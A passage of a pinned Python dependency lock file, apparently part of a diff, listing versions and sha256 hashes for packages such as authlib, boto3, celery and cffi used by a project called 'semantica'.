--hash=sha256:d03ceb89cb322a8fd706d4fb91940737b6642aa36998fe130a9bc96c985eff32 + # via + # aiohttp + # jsonlines + # jsonschema + # referencing +audioread==3.1.0 \ + --hash=sha256:1c4ab2f2972764c896a8ac61ac53e261c8d29f0c6ccd652f84e18f08a4cab190 \ + --hash=sha256:b30d1df6c5d3de5dcef0fb0e256f6ea17bdcf5f979408df0297d8a408e2971b4 + # via librosa +authlib==1.7.2 \ + --hash=sha256:2cea25fefcd4e7173bdf1372c0afc265c8034b23a8cd5dcb6a9164b826c64231 \ + --hash=sha256:3e1faedc9d87e7d56a164eca3ccb6ace0d61b94abe83e92242f8dc8bba9b4a9f + # via weaviate-client +azure-core==1.41.0 \ + --hash=sha256:522b4011e8180b1a3dcd2024396a4e7fe9ac37fb8597db47163d230b5efe892d \ + --hash=sha256:f46ff5dfcd230f25cf1c19e8a34b8dc08a337b2503e268bb600a16c00db8ad5a + # via azure-storage-blob +azure-storage-blob==12.30.0 \ + --hash=sha256:2cd74d4d5731e5eb6b8d5c5056ee115a5e88f8fdf22517b739836fda685018be \ + --hash=sha256:d415ac50b67a8da6b3ae7e9f1014b1b55cd7aafa0b8d4ca9b380568dc7360423 + # via semantica (pyproject.toml) +babel==2.18.0 \ + --hash=sha256:b80b99a14bd085fcacfa15c9165f651fbb3406e66cc603abf11c5750937c992d \ + --hash=sha256:e2b422b277c2b9a9630c1d7903c2a00d0830c409c59ac8cae9081c92f1aeba35 + # via jupyterlab-server +beautifulsoup4==4.15.0 \ + --hash=sha256:288e3ca7d54b06f2ac191970bc275c1939cb46d450b255bf6718b04aa37ab4f7 \ + --hash=sha256:d6f88de62e1d4e38ecb1077eb9724cd0eff29d2a08ca16a401e9b9e93f117cf9 + # via + # semantica (pyproject.toml) + # docling-slim + # nbconvert +bertopic==0.17.4 \ + --hash=sha256:0dbe7ee22c18fb76efe7f4fbf3a14b51c1e67d9fccc569e3f81e75b8f32646d1 \ + --hash=sha256:f92aa560cdf2bcbf9e22c8ee83dd3bfb225b8dc29381dec7327cc0b21bd852ad + # via semantica (pyproject.toml) +billiard==4.2.4 \ + --hash=sha256:525b42bdec68d2b983347ac312f892db930858495db601b5836ac24e6477cde5 \ + --hash=sha256:55f542c371209e03cd5862299b74e52e4fbcba8250ba611ad94276b369b6a85f + # via celery +black==26.5.1 \ + --hash=sha256:0e48b87e03bf109288e55cfceadcfa15ff5470aca2851a851950ed2926f450d7 \ + --hash=sha256:1037d5ac7b7b310b2632ad867ec8d0e4c4819dcdb0b820f63135da746a24e418 \ + --hash=sha256:1ef92b76f7733f282fd096ea406200b5a286c42947412b0eaff3a74e3616cefe \ + --hash=sha256:1f7ea64ebfa01b50f693508fc39f875e264446d3b097088f84f203b9d09618a0 \ + --hash=sha256:22f2cd76d069cc54c71f10360744ba8983fbb616903b4304a85b734915c8e1b4 \ + --hash=sha256:2b36cf2ddf5566e205f6535f782a62194a184d33e175b64ae8c40b1737522be3 \ + --hash=sha256:30d3c14661f2792e9142cce3eeeb1cbc175b3eb5f733be0c8eeb99651e52b0c3 \ + --hash=sha256:32d5ea7f6c8bdfa6e648326ebca1f02b0764e2a029edc6f8dce2627e19d468c3 \ + --hash=sha256:3915f256e75a2d7cf88d8953d37f780455dc586cc72dee059c528fe77f581217 \ + --hash=sha256:4ad6fa01f941920f54f2bbb35f3df7673428a0ef98a0b0840c2eaef3b110efa8 \ + --hash=sha256:4ed7f7da04046d2e488437170797d3b4a4ad83906683bcb7dfc68b673bbce5e2 \ + --hash=sha256:5119fa92ae61f786e8c3662fd60aece1d0a2dd5cca5d0c79417a95e7a4272a59 \ + --hash=sha256:577f21094ea469ef92ec1adaf2c9441a226d2144d01a5be2fa823cecf6543e50 \ + --hash=sha256:58b4bd92cf88aacf83d88479c8f9caee044b1ec55f2451a337354a7ea2590a22 \ + --hash=sha256:5c34b25da232ead53a6f335b76dbea124f4d152ad568b9080d6f944bc2b34b52 \ + --hash=sha256:87ed5c6f450580a2f6790bc7cbfb016dfc73bc750249762268a3695361315eef \ + --hash=sha256:89c93167a74d3a75dfaa38a5c7cca015537d5820dd7f17d63267d674a61cae90 \ + --hash=sha256:96ae2c733b2aabdd9986e2c5df628ff3473676cd1c5faded1ff496cf6d74083c \ + --hash=sha256:9942db8888e06943c5dde66ca0037dcff82a2a4ec1ad0ada9e0d2ee9d9823893 \ + --hash=sha256:9d98d4137277c75dfb898ec8d846c4fd68ba1e9cf77f95e2865c203dc18f4c3d \ + --hash=sha256:a1dca32d9f1784af512a13410ec204c6f7f0aa9797a111c42e1c03449821c264 \ + --hash=sha256:dd321f668053961824bcc1be1cc1df748b2d7e4fa28086b08331e577b0100a73 \ + --hash=sha256:e1a26503279b6b310669fb0b219c39e4820b77e8189fe80f522bb511f247db0a \ + --hash=sha256:e88976690a64b0af98312ca958415849cb42423423c5f2ee74af4b49a97a2168 \ + --hash=sha256:ea8d16dc41655aa113cd64665e7219446cd7e4ff2248d7178eaa905190c86b18 \ + --hash=sha256:ecb3e624844c798144e9bd986954e0adc81d8911a1f30f375e1252fe26e8c294 \ + --hash=sha256:ed1a20af114c301a0269bf01163d51dbef72737fd65f850001e7cbe7f3c7abae + # via semantica (pyproject.toml) +bleach==6.4.0 \ + --hash=sha256:4202482733d85cedd04e59fcb2f89f4e4c7c385a78d3c3c23c30446843a37452 \ + --hash=sha256:4b6b6a54fff2e69a3dde9d21cc6301220bee3c3cb792187d11403fd795031081 + # via nbconvert +blis==1.3.3 \ + --hash=sha256:034d4560ff3cc43e8aa37e188451b0440e3261d989bb8a42ceee865607715ecd \ + --hash=sha256:1e647341f958421a86b028a2efe16ce19c67dba2a05f79e8f7e80b1ff45328aa \ + --hash=sha256:1ef6d6e2b599a3a2788eb6d9b443533961265aa4ec49d574ed4bb846e548dcdb \ + --hash=sha256:27f82b8633030f8d095d2b412dffa7eb6dbc8ee43813139909a20012e54422ea \ + --hash=sha256:2a1c74e100665f8e918ebdbae2794576adf1f691680b5cdb8b29578432f623ef \ + --hash=sha256:30b8a5b90cb6cb81d1ada9ae05aa55fb8e70d9a0ae9db40d2401bb9c1c8f14c4 \ + --hash=sha256:3f6c595185176ce021316263e1a1d636a3425b6c48366c1fd712d08d0b71849a \ + --hash=sha256:3f966ca74f89f8a33e568b9a1d71992fc9a0d29a423e047f0a212643e21b5458 \ + --hash=sha256:45866a9027d43b93e8b59980a23c5d7358b6536fc04606286e39fdcfce1101c2 \ + --hash=sha256:6297e7616c158b305c9a8a4e47ca5fc9b0785194dd96c903b1a1591a7ca21ddf \ + --hash=sha256:62fb8c731347b0f98f5f81d19d339049e61489798738467d156c66cc329b0754 \ + --hash=sha256:631836d4f335e62c30aa50a1aa0170773265c73654d296361f95180006e88c04 \ + --hash=sha256:650f1d2b28e3c875927c63deebda463a6f9d237dff30e445bfe2127718c1a344 \ + --hash=sha256:66e6249564f1db22e8af1e0513ff64134041fa7e03c8dd73df74db3f4d8415a7 \ + --hash=sha256:6f165930e8d3a85c606d2003211497e28d528c7416fbfeafb6b15600963f7c9b \ + --hash=sha256:7260da065958b4e5475f62f44895ef9d673b0f47dcf61b672b22b7dae1a18505 \ + --hash=sha256:7a0fc4b237a3a453bdc3c7ab48d91439fcd2d013b665c46948d9eaf9c3e45a97 \ + --hash=sha256:7e88181e9dd8430029ebaf22d41bf79e756e8c95363e9471717102c66beb4a6d \ + --hash=sha256:8177879fd3590b5eecdd377f9deafb5dc8af6d684f065bd01553302fb3fcf9a7 \ + --hash=sha256:878d4d96d8f2c7a2459024f013f2e4e5f46d708b23437dae970d998e7bff14a0 \ + --hash=sha256:8c888438ae99c500422d50698e3028b65caa8ebb44e24204d87fda2df64058f7 \ + --hash=sha256:9b0d42420ddd543eec51ccb99d38364a0c0833b6895eced37127822de6ecacff \ + --hash=sha256:9de26fbd72bac900c273b76d46f0b45b77a28eace2e01f6ac6c2239531a413bb \ + --hash=sha256:9e5fdf4211b1972400f8ff6dafe87cb689c5d84f046b4a76b207c0bd2270faaf \ + --hash=sha256:c3e33cfbf22a418373766816343fcfcd0556012aa3ffdf562c29cddec448a415 \ + --hash=sha256:c4ae70629cf302035d268858a10ca4eb6242a01b2dc8d64422f8e6dcb8a8ee74 \ + --hash=sha256:d0114cf2d8f19e0ed210f9ae92594cd0a12efa1bbbce444028b0fc365bbbb8af \ + --hash=sha256:d563160f874abb78a57e346f07312c5323f7ad67b6370052b6b17087ef234a8e \ + --hash=sha256:d734b19fba0be7944f272dfa7b443b37c61f9476d9ab054a9ac53555ceadd2e0 \ + --hash=sha256:e10c8d3e892b1dbdff365b9d00e08291876fc336915bf1a5e9f188ed087e1a91 \ + --hash=sha256:e5a662c48cd4aad5dae1a950345df23957524f071315837a4c6feb7d3b288990 \ + --hash=sha256:e9327a6ca67de8ae76fe071e8584cc7f3b2e8bfadece4961d40f2826e1cda2df \ + --hash=sha256:e9f5c53b277f6ac5b3ca30bc12ebab7ea16c8f8c36b14428abb56924213dc127 \ + --hash=sha256:f0628a030d44aa71cac5973e40c9e95ec767abaaf2fd366a094b9398885f82f2 \ + --hash=sha256:f20f7ad69aaffd1ce14fe77de557b6df9b61e0c9e582f75a843715d836b5c8af \ + --hash=sha256:f36c0ca84a05ee5d3dbaa38056c4423c1fc29948b17a7923dd2fed8967375d74 + # via thinc +boto3==1.43.69 \ + --hash=sha256:4eb494d05b2bd08a7eee61b8ac4c34745c99e9bbce435c91f8d15d372dd8c2db \ + --hash=sha256:76297a0b415849c63575ae08a4f1661b2dc8ee0100f104b86f98aa69b47fa2c7 + # via semantica (pyproject.toml) +botocore==1.43.69 \ + --hash=sha256:5caa46b740d9a886137146ffbb69edb691f702bfe74c64e85621947ae00181fd \ + --hash=sha256:b1f0e01c53d6b84ee9c184ebf3636c3b3aef85e0ae8498c74afb8734ff224f87 + # via + # boto3 + # s3transfer +cachetools==7.1.7 \ + --hash=sha256:a3e2a00b14d8f8a6b70c1dae7b4685e7ad3bc965c5b42124a2d6ce895da6cf50 \ + --hash=sha256:ef98ef375ad188819ef2f9b3645e3987f4b8c5b7550e436ad998c2de78296df0 + # via pymilvus +catalogue==2.0.10 \ + --hash=sha256:4f56daa940913d3f09d589c191c74e5a6d51762b3a9e37dd53b7437afd6cda15 \ + --hash=sha256:58c2de0020aa90f4a2da7dfad161bf7b3b054c86a5f09fcedc0b2b740c109a9f + # via + # spacy + # srsly + # thinc +celery==5.6.3 \ + --hash=sha256:0808f42f80909c4d5833202360ffafb2a4f83f4d8e23e1285d926610e9a7afa6 \ + --hash=sha256:177006bd2054b882e9f01be59abd8529e88879ef50d7918a7050c5a9f4e12912 + # via semantica (pyproject.toml) +certifi==2026.7.22 \ + --hash=sha256:62f22742b58a1a33014a2b6b706588a8d7e2a88ae7bd1a6ebe8c992928483775 \ + --hash=sha256:741e2c3b351ddf169a738da9f2c048608ff7f2c5cc02f1ebc6b118bb090d5d55 + # via + # docling-slim + # httpcore + # httpx + # pinecone-client + # pulsar-client + # requests +cffi==2.1.1 \ + --hash=sha256:046bfc24911b37851ee1b51aab8bffe713d89c68c6a057b09484ce9fd5f69b4e \ + --hash=sha256:06c72bb76605a4b0cd0aad6930b69d4baf7dd5d806cfc409b824191099700e66 \ + --hash=sha256:0beceaabe56af686895136a2de78db54ecd8e4046b236b8fd6d6cb61389e9bf2 \ + --hash=sha256:154852545011f779917b11c78db2358d095da62a9a172b78ad0a583ee5adc0d0 \ + --hash=sha256:194cffa889098ced9976c3fc6340305e43f6303657d298da55366907c05c22d6 \ + --hash=sha256:19ee6127ee34de7d83ce3d371ebc5ed91addbdcc39f9ab15ce4eb35a4e534971 \ + --hash=sha256:1a18a57b58cfb21fc28d72e876acf10eaed67a1ed96226f92af4df681d571c4c \ + --hash=sha256:1aa5645c30469b09530c4ebca77ebf8f17618293c58f8549cb1a543a50236e7d \ + --hash=sha256:1dea0e4d7d4f11f619fe8c1d76caf49e24405b4b5743c0e3be16a500ecd930c9 \ + --hash=sha256:208f941bb9d18e768138677f0a6d2ce01f590df56043dda1df1535ac57c88517 \ + --hash=sha256:210019b6c7cf07f081b4c54635c8cf744377001350e29cc0f81c4377b4797735 \ + --hash=sha256:246fa40ce8645a614ff682e0b70f37134e460eaf93a775e0cbe3cca585a67a80 \ + --hash=sha256:25792eac27877609e7bb06d42ff88278a6624fff2ba9bbb523c09616b117e80f \ + --hash=sha256:27350daa11d4f10c540e6e89dada4c54feb7256ad03e9a4dc075ebad7ba360d1 \ + --hash=sha256:28907ab9bfb6aa13184cfc17c6b8e1023c5ab6fd7076d8c20a35e59fe04f8f29 \ + --hash=sha256:2ae64be792b8966f2c69538199728b290e34726562896df1e5dc8ffd8d8188e8 \ + --hash=sha256:31348097ff5bbe827ccc41795d4dd099d9f0625e7def00ee653c137a490c2a6c \ + --hash=sha256:3143d81e29e1e20a9ce10901ec369012947876596f75a222235965f2b7ae832e \ + --hash=sha256:3222ba5d678f80a030e6afbcc33dc1ae5cb45facabb61cee2c7016b8432fde48 \ + --hash=sha256:3311ed60d36f83378794e1009ac6258bafbf81f7888b4caa7b35a521e3f95813 \ + --hash=sha256:334644fbac4eff73d985a17a91226df55d0f394160c4cfb880e084c8f7161cac \ + --hash=sha256:34e261f78cb6ceaaa36f42f2613f4380d94d9c759a9c73c769ee6e0247364632 \ + --hash=sha256:363e05fa78e15116c3c32c210ee36884fd6b9afa6d440e47112c3bd511d64cb6 \ + --hash=sha256:398aff33cee2767e3e781d2554c54bd0dff386bb437581e0d8011fde1a942ec1 \ + --hash=sha256:3d22a20b1fb1632cc72c22f95f7b0d2961c3e1c235f245ba4c606c4771035659 \ + --hash=sha256:42a494cee34437f05546455144f2b5d9ac09b1face62bcfce597d2e521066688 \ + --hash=sha256:42e2f76b9455f5a9a844f770bf3e200ed3da0e15f5df3db9c31fe80b04b3d004 \ + --hash=sha256:42f6930c31dc7f50732c9ae793c2786c7b6b044195967bbdde40bb9be81c4cc0 \ + --hash=sha256:456a61fa52d579ebf9df2e9552ead5129855dbaff6c1e5a9b1bc408809bdc062 \ + --hash=sha256:471cee653ae88de62096552e6d24ccb4a5adb8c8c9f10b5054d0122c15bf2779 \ + --hash=sha256:49cbc70e6542d4ccccb936558d1064a8012541e78f821f955cff24e357776c94 \ + --hash=sha256:4a7c934f7360e8cd64fe9efadcbd10c7c6364f531e432b9a4bf5ccbc9e0e8b50 \ + --hash=sha256:4be96343e422f2dfcd12ab5c9f5aebe03f82f737c6bffeca6830b3875cb44aab \ + --hash=sha256:4f42141fc14250de6dde5ee7ea4432be017252d91f19c5ad043c084cea629cac \ + --hash=sha256:507a24c282e0f42f8ed737cf048572cbf580468da5555764a8331735e9c736b6 \ + --hash=sha256:51b31d1c98274844cfd7838ce00bfc27c7423a4dc00fc0772fc3331c2cc90676 \ + --hash=sha256:58acb8ab8e295e6c5ea12f888cbb13cf21511ef2a3303a23f4325c29d17fe5c1 \ + --hash=sha256:5a59cc1c4442bc3d5c703bf720b51138d0bfc173618807c9ee2490a7541dd3d9 \ + --hash=sha256:5bb4e7ea95dcd6a014a6fef62e62467d67d8e582326443f3d68e71d6320a9fcf \ + --hash=sha256:5c58fe613dc5e5336357eff555824a314d8e43282600435c8d1cb6a7a2fedd13 \ + --hash=sha256:5e7cecbaadb83884793e05828cee59b210b24583b9c7425d0ba6a754fe22eb4e \ + --hash=sha256:616f097f2fe415bc92a247f02e11f634e1f9e9a83d327e3c915c15089c87869e \ + --hash=sha256:63bbfd5ded17c4840ac07cd8f1c21ba9d9708141f840b324f422f41b207e3973 \ + --hash=sha256:64faea20f4e2613363a1a9b9c7dd73058f3ecd00133a511e72ad7c511658f527 \ + --hash=sha256:661c298b4821edebead0c91edd2b00374d67ad7c5a1f7a91d4442633b79d6a72 \ + --hash=sha256:68e62fe11f30d5ca8289242866f0a5291402d8529ca2178ab8afc5c9694ae890 \ + --hash=sha256:6a8dddef476fab96d066d578fc88526767b836ab5ab21754e1d5bf3879c31c7c \ + --hash=sha256:6e192623c49c94421616a5778fba35cf0d5a8d000650c1967ef4448ee5cdd990 \ + --hash=sha256:7225e4514edb64eb6740324353e0da0711954fd8d7da4576755b1c6e09b697cd \ + --hash=sha256:75f80557d1389eddbd0de2681f6a390a0c5338c31ddaa821381c203fc3fd50d9 \ + --hash=sha256:770de9db11e84213beec501cfcaa013b019820ca881e03344dea5844f7876d94 \ + --hash=sha256:7750c6449dff7864bb9bb27ddfb0267756189201a3afc911d82b3caacd70dfc3 \ + --hash=sha256:7bde5e4cc5c10140859842b9d383af292b22639a4dffb725314baf45968cef80 \ + --hash=sha256:7ce713ace7c0e4520535b42b77eaa742c16dab813978064913e5a3cf82973b41 \ + --hash=sha256:7da0c5eff80f0197f3b3d1232ec5a682a9325f4ae9016a78f5f5ca35f9ced1f5 \ + --hash=sha256:7dbb61fe3a7699468030f71bbe5f8a0e326a151daa91beb11a6fc1f980c55e1c \ + --hash=sha256:811bd1e21d32de12efca32393a0ab3f5133b54fce9bd44b8bd77ab07da14bf6a \ + --hash=sha256:8ef53b2de9bcb9197d31854256575d59dbac0cba72ac627bb291ef5eceb74be4 \ + --hash=sha256:937c0052c05a31ca1daf18de3158eed4dbfcb9cc107adbea227728d647be701e \ + --hash=sha256:9d2055050ea716bd38b7f7f1579c275386646b4894c155a3e2f3cd62ed41b7c6 \ + --hash=sha256:9f8d177621de5cb38ee3e731eda45d421db093ec0739f46a5594babda7987a98 \ + --hash=sha256:a2d7755bef5a12ed488f4ef1f1b69ee9191d7396083b755a5d2295f6edb4768b \ + --hash=sha256:a48d62ab9d6f4f98c983223a547af44be6ca3691074c31cecced6facd3ba2dc1 \ + --hash=sha256:a4f00aa42f75d6e4595e8866e748cc1705adc0cddfeb2ca86d0d03993d63ba03 \ + --hash=sha256:a6e721d4b0e45d5b65e87534470e67b18dcd092c83f68fba09f152b9cbc061af \ + --hash=sha256:a730a083190634c65cca36ba5f489531576ebd79bcd5c8e172130f6453127231 \ + --hash=sha256:a931079504ecc49efed7744c476a5c343a92fabf66dec2db95edb1b2fdc770e2 \ + --hash=sha256:aa9511c62d14da7aacc9b4bf51f3f697a621e83b2d6919008243c3aad168eea3 \ + --hash=sha256:ab36d55f9ed2d067327667c2fea18dda018eb628dd6347aa01dda6cf1f5d3836 \ + --hash=sha256:ad2c86c495b899d862ea0f4b42891b8713a3bd45dd4105c7fd51c2a72f39f3a5 \ + --hash=sha256:aeae0e330c9f6acd681f647d46cefd30c29f93e3392882e792e82080c9691399 \ + --hash=sha256:b0431303acaea1089ad4b3e9ce4e6518193def1118d4073ca848635ee4ea2e96 \ + --hash=sha256:b5bdfd1c873d4e093aabc0ca84c4ca6dbc4f752afb5c86f146d9742580c9da2e \ + --hash=sha256:baed1e86cc735622097354b9d1281406caf42ff42a886d29faa8e8d1630333be \ + --hash=sha256:c1453022f490d2459a11819d83ad1d586e9ff65a12ac3e705ffebd46d3685dcf \ + --hash=sha256:c26608d2222fb1e94487e4a387d85f13eb55d5ed725cb25a0c589ac4ee60e7bc \ + --hash=sha256:c7659f22557c5a0bc4855cd635f55edec690cc008a40768527762cb9fb263455 \ + --hash=sha256:c8c69575568085ba0b1b10c0249d779a214aea6f6522e949a0fc9fb0fcb449d0 \ + --hash=sha256:c8d2c9fd1f2d16f780d15127abb050d13d1a76c03a4bd87d7e4980e45e511e12 \ + --hash=sha256:ca82be1a1d406ecfe1d25dc16cb33488e5a16bf4438c9fb590484ea29d92478b \ + --hash=sha256:cc572dace3f60ef98d7b12ff411d20f5362feb31a0439eab0085bbfd349982d7 \ + --hash=sha256:d18e5ac0f2f03f4f518d3e23db0f0cad7faa1da8620e9c09461d443bbf6e6692 \ + --hash=sha256:d28630f5854ab07ab1fd4aba756de52326c82e6be15d414b12793f1975048b54 \ + --hash=sha256:d9c275eaacd24aa73f94ffd6de08fc3f932424d8b6c376f4bed7cde376fe7bc3 \ + --hash=sha256:da0e573f9f97159390c89d9f1a9e41908b66d408cc5b58d08cf3847d844c531b \ + --hash=sha256:dd31f52ea1086513bb9df30f8fcee9b8918323ae067a3d5b78bc826a000712be \ + --hash=sha256:dddad92b554513a31f272570678ba307fb9f618f05e3d4a5eacafff9eae03e1d \ + --hash=sha256:df423d40ee8654634421812bc3b196da3f9bd7d32929da813f8394c4348a5358 \ + --hash=sha256:df913725b79db7bcf03448f36b7bf8815363417d5b58deecf9305e3e30f0f21a \ + --hash=sha256:e0bcb7e0f677f543555d2adff3bf19c05f66cdb4796e5ff602442ab2fe3c4ef7 \ + --hash=sha256:e2d65b31f36619cda3999b78b2aa9632e76b78448e7a56fc4240824200e7c4fc \ + --hash=sha256:e6e8cff14d6fb0be70a09c0bdc58096f501952d04624ebf867e0e56da2df8960 \ + --hash=sha256:f16c709686a78c727bbbf059f92b0bf41c6fc60deec706d2dc19f529175a6125 \ + --hash=sha256:f24fb43132a4c6b4cb4eb029492919b2db645be6808d738f244fd146c03c32cb \ + --hash=sha256:f53e442b08449d42821fa4a4fba000095af9f62742a500f978a9f557ec44339a \ + --hash=sha256:f5cfbc5fe74540d335175b656c725d74d90e3730c626d92575eea35029d9afaa \ + --hash=sha256:f81b3b8f3d4e343550fa4baa0e479bba9f2d29ce9c2e9b51d1ce1718d7442fcf \ + --hash=sha256:f8ec5e643a9a937f64e1999eb9f75d072263751912dc5cd06d3c85f8f44be7c3 \ + --hash=sha256:fb92203a88b3d3053034db775110081c49d28be6551923805e039924093761e4 \ + --hash=sha256:fcd22650c908d7b7da162bbfaab594a1227a15d1643a98c68b122ac642fa2264 + # via + # argon2-cffi-bindings + # cryptography + # soundfile +cfgv==3.5.0 \ + --hash=sha256:a8dc6b26ad22ff227d2634a65cb388215ce6cc96bbcc5cfde7641ae87e8dacc0 \ + --hash=sha256:d5b1034354820651caa73ede66a6294d6e95c1b00acc5e9b098e917404669132 + # via pre-commit +chardet==7.5.1 \ + --hash=sha256:0df08f2b2f6ac04b3e7f9e8ad1b1559c2e8497338ff9dfa1e0922335ff9dfe8d \ + --hash=sha256:126b2a65141ed8a460c721d19f487c7b6fd12542aa761ce449f543296d0dd71e \ + --hash=sha256:1cd58589a52211901c5ac57016feffbe8a7e7e6328f5bf0b03ce44043e221e99 \ + --hash=sha256:26160da949c66f0cca280101d85e6e4fddca53bfe465a1b69ceb3c9998295cc0 \ + --hash=sha256:2c99dea9eea1bdc6cc20dcb3555581234899d58a4147163c7d03d8fca11402b0 \ + --hash=sha256:36843a0e9e3196142e317806d5ca29ab0bb714de2315897124a018438cc535a3 \ + --hash=sha256:3eb37b2c0aa67bfb1112aa90bfdd95cd3b4006fe051a2ea4872c3c6ba9cf855b \ + --hash=sha256:44214df32ff7c87fe82d7f1f21c7fe95c04769869e523f944413e668e001f52c \ + --hash=sha256:469f164a608ccee4a8a2c0c2b4328470df9b07443e8269714f8e8a51f6fdf4c4 \ + --hash=sha256:46d10bbb7ba7ba345694fe0276a61290d4cc25d3624c03282311dbc58c1d49b4 \ + --hash=sha256:4d30a84ec52c37532ad7978329a41224c454959b22503b8f8ed4df763e6c3ed2 \ + --hash=sha256:54bae16fc5b7ea39956ee737dd09b5f5438deafa9f565ac27c882992c3965b88 \ + --hash=sha256:5953d8236049aed0411908cfeaeeec03984ab2f109f980f0ec70fbe6938c8f9e \ + --hash=sha256:59598a8e15769ebe62fd0c153a5e4347a7a126cc7b376a724ff63ad80b890506 \ + --hash=sha256:61312fd3ff363c3ec549548250630a02fd3123c360dd492bf1fce0d28e915b87 \ + --hash=sha256:6df2e255413c5f277067d9af7444ab1e9719126335efbefae24d8370aedf35c5 \ + --hash=sha256:6eefafa763b7099c3c0a86c343097d69b766b3fe5705edba9400bae26450af1f \ + --hash=sha256:71f152d66e7bd1faad615897d34765243cb567ad6aef07bf0d7c0cdd69bf6cce \ + --hash=sha256:8a001a8f030625b705d9a4e68116e573462bd38192cc6c1bfa318b45606747ac \ + --hash=sha256:951ccab3a037a563079f4d448e82bbfee5f2715239440f732ffb0ac9f251dedb \ + --hash=sha256:9c378ccd8c0fab30171ed7c54d501f72c4294d9b98c71ea1ff7852aa9ccac399 \ + --hash=sha256:a198d47eaa28e1ba458f11ab636f0677f34c5d1ce7e909bec6ca2f346c21e78c \ + --hash=sha256:a599a836fbd41ff5a2a0c20e211da13ba8cc14dcba1e4bcfad8a7bcad64a2ff6 \ + --hash=sha256:a6b20b42a9e6048d557aec9903df33239c299b4643c6553203127c8f92f47e78 \ + --hash=sha256:a77d6d2d61f39b40423bd0abaee32175739cec9f11edf9e7236a5341d0e05c99 \ + --hash=sha256:b1c049906b95db7b12fd674f661f75285baf925eae98aa52a4a09305fc786855 \ + --hash=sha256:b72b9b95c636d170d9a6284d99be9fd93ca08bb2221385ff1a5b69da98ec4f76 \ + --hash=sha256:ba7e9b6c15b4fcdf07ae675e5116dee610425f9ad6955c9bdb6bf99aed2e555d \ + --hash=sha256:bbf6948b7a5b85af5e435993c4e5fdb092d0d8f38c00d68c96e2640bafce5ec2 \ + --hash=sha256:c461fc9746912d19ab77efc1912b7f9a364b7fca1d787e1215207d5f6f68685d \ + --hash=sha256:d06a8bacc8b6a26e900c3bd825601f9a8c02e063e687e960cf77363a9a397a0b \ + --hash=sha256:e6faa6b18c7af2fca8d4cbb51fa035fa47f8f4b68547ae927a1c0be34dfc96fa \ + --hash=sha256:e72489029c1f6e4be6138dd045a4e52bffaba5d5da0398df585bfcf8b239e324 \ + --hash=sha256:ecbe0e0a9fff7825fc48650ef297ede49c71a7abc411a0638416207a70bf78c0 \ + --hash=sha256:f22396ad419f1e78594057e200aa7253be56840f5b04d07b86ccecd99e09c068 \ + --hash=sha256:fad6fbc154113e3b17bb757c34b21477e4b6d69fdd4ce51ff2b3f29a42f08b5b + # via semantica (pyproject.toml) +charset-normalizer==3.5.0 \ + --hash=sha256:054420b5db984971d886e5e4e2c37c760ae6682aedbd066687ff0949d9ed5f08 \ + --hash=sha256:06f4fb62a9139bef056b8b2da6773c94c2f259f90e4b8e53b166f3d0372d7cf6 \ + --hash=sha256:076cf9d3f3c7e410295c09d96355cf3b1bcae74990034d80e4371e20fe1ba4c6 \ + --hash=sha256:07f6f42b5a6325df35b458004fb5f9f29bf502d89287a33c7cdef3590e31de0f \ + --hash=sha256:0b2e44e6d42d1a4ff78ccc219a93c5449105d10b16198d1aea581080df8073f9 \ + --hash=sha256:0b373bab0b867b68b8eb249da9478cab9181a42993437cd2f5dba5fb0b4fbd1b \ + --hash=sha256:0c8953d9d1617794cfc40d81179571c9ba3805dd029623a15c93f1fb70e60a74 \ + --hash=sha256:0cce46dd29d73e135e8087b96eb62a4aca6d69391b7f97808c6588ebed3178f3 \ + --hash=sha256:0dfe83c1b4d00abbf433998117a14f56a5c2bc68226c0d331709eed0d1ce539b \ + --hash=sha256:0f211c21aa316cb6e2662e54a1194633a79d98a50a876addacfce7ba5b34b09f \ + --hash=sha256:0f76dc0a47f94cb9b69d86f01e477f4b0371ca70208b9ccea7e063c41eed9046 \ + --hash=sha256:125ee619611019471b177c70bc3e9d4cda9fad7e01d93523501d3b188df0193a \ + --hash=sha256:1328cc57dd4372be1265f68232cee890e087416e3e6e93e6ffb32c2bad4d36a4 \ + --hash=sha256:143792a43e06dc3b27fc891948406e251502dc19ff9216cd80182b79131be5c5 \ + --hash=sha256:14f6904a3cf870abf044df3a8c4924ac6c8ef77e9896586fd37e73ae96cff2af \ + --hash=sha256:168a0cb536b5123a77bc42ecf5e0bf6f923d0d9ae43c42a14eb0677c19ac6c19 \ + --hash=sha256:17a0fd0e23961c2c017372e37aabc7ca8fceb9e10ad898977dfb40ad3927baae \ + --hash=sha256:17db18db9a1374d5b9d9a3252f980b4243b0b4efd1df03fac78bb587f6ce98cd \ + --hash=sha256:196e270c4e80827b5072eed7d6aa661d133afada94fe366669f9609e718d305e \ + --hash=sha256:19e52bda45086df8a4be4bb5910af6f5d9d3b538c78712c8ae09ef10b85bf458 \ + --hash=sha256:1a573e1e428f93908e79e04b349717f400e720f2f82285f0aaaf3ee0ff7f4c79 \ + --hash=sha256:1c010dd86d3f4c4433c9634d33ce8147393b270dfa54f217f965540b8ae8e075 \ + --hash=sha256:1cdfed4d7a59333c8220c67dd3be4e7a6c887b67453a64394022dcc919570add \ + --hash=sha256:1d366548d2ee28a8cfdcc4296363978cc644a728333be9824d2de4652e83df0a \ + --hash=sha256:1f56ce84b317ef2a59d7d3461891c7597c79247d2192bb8114c68a1a1debfcc0 \ + --hash=sha256:1f99a8c3a1da5d955edbad18208b3d627bdd54c48a6e739fa877bdca98c686d6 \ + --hash=sha256:2080aa129a28267984cdc902898993d788c995c384e285d0d19199f56760d52e \ + --hash=sha256:22a1889f1c9b752c63c36758a0c2145458e3cadb20fced7a0790002e9dd12b26 \ + --hash=sha256:2401f7671242e921e604f609d429f6b282ea4ca787a6ffd22ed7372011ddb9d1 \ + --hash=sha256:2403b489c103e9a18c835863fc6dd54361355c8291d4cafdb37492b683440b9b \ + --hash=sha256:2df26d4134948616be0ece05d0b24d621d3990f37147b5883c52052b613ef1f5 \ + --hash=sha256:301bfc4877c4f4f62b344235ecc58d06c901683801636eef819f88769c315ba2 \ + --hash=sha256:30ae26a1adcd943690dcbbc47f28be762bae9e08ad7442b78c86b1c0dd5a626c \ + --hash=sha256:3288a560dc3114d5d2ebe309b1ef43f8af355eafe25856832415c2a8196c9db3 \ + --hash=sha256:32e6d56dd825205f81e5c45bcebb4df6a11fb2bbf4969a01ef156d6ced90c224 \ + --hash=sha256:3418edd0ecb72a0a3861cf72f31be0ad9b7fe338ce2b58fb5cc80b9aeb792700 \ + --hash=sha256:3587d94b5c9f05c2dc4c3f3d47aba6375ff141a21adae3051d8d4d53e8a937c0 \ + 